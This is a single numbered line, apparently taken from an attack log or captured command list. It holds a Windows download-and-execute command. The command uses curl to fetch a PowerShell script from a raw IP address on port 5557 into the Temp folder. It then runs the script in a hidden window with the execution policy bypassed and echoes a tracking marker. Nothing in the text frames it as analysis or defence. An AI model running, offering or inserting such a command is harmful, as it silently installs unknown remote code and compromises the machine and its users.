326|curl.exe -s -m 30 -o C:\Windows\Temp\n322.ps1 http://159.223.110.159:5557/n322.ps1 & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -W Hidden -EP Bypass -File C:\Windows\Temp\n322.ps1 & echo GC326